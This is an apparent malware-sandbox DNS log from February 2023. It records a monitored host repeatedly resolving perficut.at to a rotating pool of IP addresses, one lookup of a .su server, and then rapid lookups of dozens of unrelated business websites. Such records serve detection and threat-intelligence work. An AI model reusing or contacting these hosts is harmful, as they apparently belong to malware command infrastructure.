Feb 16, 2023 11:49:48.981260061 CET	8.8.8.8	192.168.2.3	0x3580	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:48.981260061 CET	8.8.8.8	192.168.2.3	0x3580	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:48.981260061 CET	8.8.8.8	192.168.2.3	0x3580	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:48.981260061 CET	8.8.8.8	192.168.2.3	0x3580	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:48.981260061 CET	8.8.8.8	192.168.2.3	0x3580	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:48.981260061 CET	8.8.8.8	192.168.2.3	0x3580	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:48.981260061 CET	8.8.8.8	192.168.2.3	0x3580	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:50.692140102 CET	8.8.8.8	192.168.2.3	0x4bc	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:50.692140102 CET	8.8.8.8	192.168.2.3	0x4bc	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:50.692140102 CET	8.8.8.8	192.168.2.3	0x4bc	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:50.692140102 CET	8.8.8.8	192.168.2.3	0x4bc	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:50.692140102 CET	8.8.8.8	192.168.2.3	0x4bc	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:50.692140102 CET	8.8.8.8	192.168.2.3	0x4bc	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:50.692140102 CET	8.8.8.8	192.168.2.3	0x4bc	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:50.692140102 CET	8.8.8.8	192.168.2.3	0x4bc	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:50.692140102 CET	8.8.8.8	192.168.2.3	0x4bc	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:50.692140102 CET	8.8.8.8	192.168.2.3	0x4bc	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:52.451066971 CET	8.8.8.8	192.168.2.3	0x37c3	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:52.451066971 CET	8.8.8.8	192.168.2.3	0x37c3	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:52.451066971 CET	8.8.8.8	192.168.2.3	0x37c3	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:52.451066971 CET	8.8.8.8	192.168.2.3	0x37c3	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:52.451066971 CET	8.8.8.8	192.168.2.3	0x37c3	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:52.451066971 CET	8.8.8.8	192.168.2.3	0x37c3	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:52.451066971 CET	8.8.8.8	192.168.2.3	0x37c3	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:52.451066971 CET	8.8.8.8	192.168.2.3	0x37c3	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:52.451066971 CET	8.8.8.8	192.168.2.3	0x37c3	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:52.451066971 CET	8.8.8.8	192.168.2.3	0x37c3	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:54.719466925 CET	8.8.8.8	192.168.2.3	0xf8c9	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:54.719466925 CET	8.8.8.8	192.168.2.3	0xf8c9	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:54.719466925 CET	8.8.8.8	192.168.2.3	0xf8c9	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:54.719466925 CET	8.8.8.8	192.168.2.3	0xf8c9	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:54.719466925 CET	8.8.8.8	192.168.2.3	0xf8c9	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:54.719466925 CET	8.8.8.8	192.168.2.3	0xf8c9	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:54.719466925 CET	8.8.8.8	192.168.2.3	0xf8c9	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:54.719466925 CET	8.8.8.8	192.168.2.3	0xf8c9	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:54.719466925 CET	8.8.8.8	192.168.2.3	0xf8c9	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:54.719466925 CET	8.8.8.8	192.168.2.3	0xf8c9	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:57.309294939 CET	8.8.8.8	192.168.2.3	0xc959	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:57.309294939 CET	8.8.8.8	192.168.2.3	0xc959	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:57.309294939 CET	8.8.8.8	192.168.2.3	0xc959	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:57.309294939 CET	8.8.8.8	192.168.2.3	0xc959	No error (0)	perficut.at		37.234.187.254	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:57.309294939 CET	8.8.8.8	192.168.2.3	0xc959	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:57.309294939 CET	8.8.8.8	192.168.2.3	0xc959	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:57.309294939 CET	8.8.8.8	192.168.2.3	0xc959	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:57.309294939 CET	8.8.8.8	192.168.2.3	0xc959	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:57.309294939 CET	8.8.8.8	192.168.2.3	0xc959	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:57.309294939 CET	8.8.8.8	192.168.2.3	0xc959	No error (0)	perficut.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:59.418513060 CET	8.8.8.8	192.168.2.3	0x4109	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:59.418513060 CET	8.8.8.8	192.168.2.3	0x4109	No error (0)	perficut.at		37.234.187.254	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:59.418513060 CET	8.8.8.8	192.168.2.3	0x4109	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:59.418513060 CET	8.8.8.8	192.168.2.3	0x4109	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:59.418513060 CET	8.8.8.8	192.168.2.3	0x4109	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:59.418513060 CET	8.8.8.8	192.168.2.3	0x4109	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:59.418513060 CET	8.8.8.8	192.168.2.3	0x4109	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:59.418513060 CET	8.8.8.8	192.168.2.3	0x4109	No error (0)	perficut.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:59.418513060 CET	8.8.8.8	192.168.2.3	0x4109	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:49:59.418513060 CET	8.8.8.8	192.168.2.3	0x4109	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:00.457469940 CET	8.8.8.8	192.168.2.3	0x8f5c	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:00.457469940 CET	8.8.8.8	192.168.2.3	0x8f5c	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:00.457469940 CET	8.8.8.8	192.168.2.3	0x8f5c	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:00.457469940 CET	8.8.8.8	192.168.2.3	0x8f5c	No error (0)	perficut.at		37.234.187.254	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:00.457469940 CET	8.8.8.8	192.168.2.3	0x8f5c	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:00.457469940 CET	8.8.8.8	192.168.2.3	0x8f5c	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:00.457469940 CET	8.8.8.8	192.168.2.3	0x8f5c	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:00.457469940 CET	8.8.8.8	192.168.2.3	0x8f5c	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:00.457469940 CET	8.8.8.8	192.168.2.3	0x8f5c	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:00.457469940 CET	8.8.8.8	192.168.2.3	0x8f5c	No error (0)	perficut.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:04.517719984 CET	8.8.8.8	192.168.2.3	0x5b5b	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:04.517719984 CET	8.8.8.8	192.168.2.3	0x5b5b	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:04.517719984 CET	8.8.8.8	192.168.2.3	0x5b5b	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:04.517719984 CET	8.8.8.8	192.168.2.3	0x5b5b	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:04.517719984 CET	8.8.8.8	192.168.2.3	0x5b5b	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:04.517719984 CET	8.8.8.8	192.168.2.3	0x5b5b	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:04.517719984 CET	8.8.8.8	192.168.2.3	0x5b5b	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:04.517719984 CET	8.8.8.8	192.168.2.3	0x5b5b	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:04.517719984 CET	8.8.8.8	192.168.2.3	0x5b5b	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:04.517719984 CET	8.8.8.8	192.168.2.3	0x5b5b	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:05.663819075 CET	8.8.8.8	192.168.2.3	0x3bdc	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:05.663819075 CET	8.8.8.8	192.168.2.3	0x3bdc	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:05.663819075 CET	8.8.8.8	192.168.2.3	0x3bdc	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:05.663819075 CET	8.8.8.8	192.168.2.3	0x3bdc	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:05.663819075 CET	8.8.8.8	192.168.2.3	0x3bdc	No error (0)	perficut.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:05.663819075 CET	8.8.8.8	192.168.2.3	0x3bdc	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:05.663819075 CET	8.8.8.8	192.168.2.3	0x3bdc	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:05.663819075 CET	8.8.8.8	192.168.2.3	0x3bdc	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:05.663819075 CET	8.8.8.8	192.168.2.3	0x3bdc	No error (0)	perficut.at		37.234.187.254	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:05.663819075 CET	8.8.8.8	192.168.2.3	0x3bdc	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:06.173331976 CET	8.8.8.8	192.168.2.3	0xd23b	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:06.173331976 CET	8.8.8.8	192.168.2.3	0xd23b	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:06.173331976 CET	8.8.8.8	192.168.2.3	0xd23b	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:06.173331976 CET	8.8.8.8	192.168.2.3	0xd23b	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:06.173331976 CET	8.8.8.8	192.168.2.3	0xd23b	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:06.173331976 CET	8.8.8.8	192.168.2.3	0xd23b	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:06.173331976 CET	8.8.8.8	192.168.2.3	0xd23b	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:06.173331976 CET	8.8.8.8	192.168.2.3	0xd23b	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:06.173331976 CET	8.8.8.8	192.168.2.3	0xd23b	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:06.173331976 CET	8.8.8.8	192.168.2.3	0xd23b	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:07.400294065 CET	8.8.8.8	192.168.2.3	0xbe82	No error (0)	h167471.srv11.test-hf.su		91.227.16.11	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:08.231458902 CET	8.8.8.8	192.168.2.3	0xb06c	No error (0)	perficut.at		190.140.74.43	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:08.231458902 CET	8.8.8.8	192.168.2.3	0xb06c	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:08.231458902 CET	8.8.8.8	192.168.2.3	0xb06c	No error (0)	perficut.at		185.95.186.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:08.231458902 CET	8.8.8.8	192.168.2.3	0xb06c	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:08.231458902 CET	8.8.8.8	192.168.2.3	0xb06c	No error (0)	perficut.at		190.219.54.242	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:08.231458902 CET	8.8.8.8	192.168.2.3	0xb06c	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:08.231458902 CET	8.8.8.8	192.168.2.3	0xb06c	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:08.231458902 CET	8.8.8.8	192.168.2.3	0xb06c	No error (0)	perficut.at		210.182.29.70	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:08.231458902 CET	8.8.8.8	192.168.2.3	0xb06c	No error (0)	perficut.at		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:08.231458902 CET	8.8.8.8	192.168.2.3	0xb06c	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:09.442810059 CET	8.8.8.8	192.168.2.3	0xa786	No error (0)	perficut.at		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:09.442810059 CET	8.8.8.8	192.168.2.3	0xa786	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:09.442810059 CET	8.8.8.8	192.168.2.3	0xa786	No error (0)	perficut.at		187.209.149.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:09.442810059 CET	8.8.8.8	192.168.2.3	0xa786	No error (0)	perficut.at		37.234.187.254	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:09.442810059 CET	8.8.8.8	192.168.2.3	0xa786	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:09.442810059 CET	8.8.8.8	192.168.2.3	0xa786	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:09.442810059 CET	8.8.8.8	192.168.2.3	0xa786	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:09.442810059 CET	8.8.8.8	192.168.2.3	0xa786	No error (0)	perficut.at		138.36.3.134	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:09.442810059 CET	8.8.8.8	192.168.2.3	0xa786	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:09.442810059 CET	8.8.8.8	192.168.2.3	0xa786	No error (0)	perficut.at		186.182.55.44	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.275254965 CET	8.8.8.8	192.168.2.3	0x421e	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.275254965 CET	8.8.8.8	192.168.2.3	0x421e	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.311326027 CET	8.8.8.8	192.168.2.3	0x9471	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.311326027 CET	8.8.8.8	192.168.2.3	0x9471	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.322406054 CET	8.8.8.8	192.168.2.3	0x5af5	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.325014114 CET	8.8.8.8	192.168.2.3	0xb8ac	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.325014114 CET	8.8.8.8	192.168.2.3	0xb8ac	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.331003904 CET	8.8.8.8	192.168.2.3	0xd641	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.331269979 CET	8.8.8.8	192.168.2.3	0x9f4b	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.331269979 CET	8.8.8.8	192.168.2.3	0x9f4b	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.340996981 CET	8.8.8.8	192.168.2.3	0x28ff	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.389113903 CET	8.8.8.8	192.168.2.3	0xb2e5	No error (0)	www.rs-ag.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.389113903 CET	8.8.8.8	192.168.2.3	0xb2e5	No error (0)	www.rs-ag.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.395783901 CET	8.8.8.8	192.168.2.3	0xfdc5	No error (0)	www.alteor.cl	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.395783901 CET	8.8.8.8	192.168.2.3	0xfdc5	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.395783901 CET	8.8.8.8	192.168.2.3	0xfdc5	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.405275106 CET	8.8.8.8	192.168.2.3	0x1038	No error (0)	www.pdqhomes.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.405275106 CET	8.8.8.8	192.168.2.3	0x1038	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.405275106 CET	8.8.8.8	192.168.2.3	0x1038	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.405275106 CET	8.8.8.8	192.168.2.3	0x1038	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.469127893 CET	8.8.8.8	192.168.2.3	0xa6a8	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.469127893 CET	8.8.8.8	192.168.2.3	0xa6a8	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.469127893 CET	8.8.8.8	192.168.2.3	0xa6a8	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.502532959 CET	8.8.8.8	192.168.2.3	0xf719	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.502532959 CET	8.8.8.8	192.168.2.3	0xf719	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.511672020 CET	8.8.8.8	192.168.2.3	0xed0e	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.511672020 CET	8.8.8.8	192.168.2.3	0xed0e	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.511672020 CET	8.8.8.8	192.168.2.3	0xed0e	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.547035933 CET	8.8.8.8	192.168.2.3	0x9b40	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.547501087 CET	8.8.8.8	192.168.2.3	0xed4d	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.589036942 CET	8.8.8.8	192.168.2.3	0x328	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.589036942 CET	8.8.8.8	192.168.2.3	0x328	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.589036942 CET	8.8.8.8	192.168.2.3	0x328	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.595698118 CET	8.8.8.8	192.168.2.3	0xe6e0	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.690264940 CET	8.8.8.8	192.168.2.3	0xdb57	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.690264940 CET	8.8.8.8	192.168.2.3	0xdb57	No error (0)	ghs.googlehosted.com		142.250.203.115	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.711644888 CET	8.8.8.8	192.168.2.3	0x6f21	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.711644888 CET	8.8.8.8	192.168.2.3	0x6f21	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.711644888 CET	8.8.8.8	192.168.2.3	0x6f21	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.841768980 CET	8.8.8.8	192.168.2.3	0x20e7	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.841768980 CET	8.8.8.8	192.168.2.3	0x20e7	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.841768980 CET	8.8.8.8	192.168.2.3	0x20e7	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.892678022 CET	8.8.8.8	192.168.2.3	0x9613	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.912961006 CET	8.8.8.8	192.168.2.3	0x60a4	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.912961006 CET	8.8.8.8	192.168.2.3	0x60a4	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.912961006 CET	8.8.8.8	192.168.2.3	0x60a4	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.927870989 CET	8.8.8.8	192.168.2.3	0x241a	No error (0)	www.wifi4all.nl		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.927870989 CET	8.8.8.8	192.168.2.3	0x241a	No error (0)	www.wifi4all.nl		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:27.965658903 CET	8.8.8.8	192.168.2.3	0xd0e6	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:27.965658903 CET	8.8.8.8	192.168.2.3	0xd0e6	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.034179926 CET	8.8.8.8	192.168.2.3	0x6566	No error (0)	www.fcwcvt.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.034179926 CET	8.8.8.8	192.168.2.3	0x6566	No error (0)	www.fcwcvt.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.064404964 CET	8.8.8.8	192.168.2.3	0x2599	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.085824966 CET	8.8.8.8	192.168.2.3	0xe305	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:28.085824966 CET	8.8.8.8	192.168.2.3	0xe305	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.125952959 CET	8.8.8.8	192.168.2.3	0x3e2e	No error (0)	www.petsfan.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
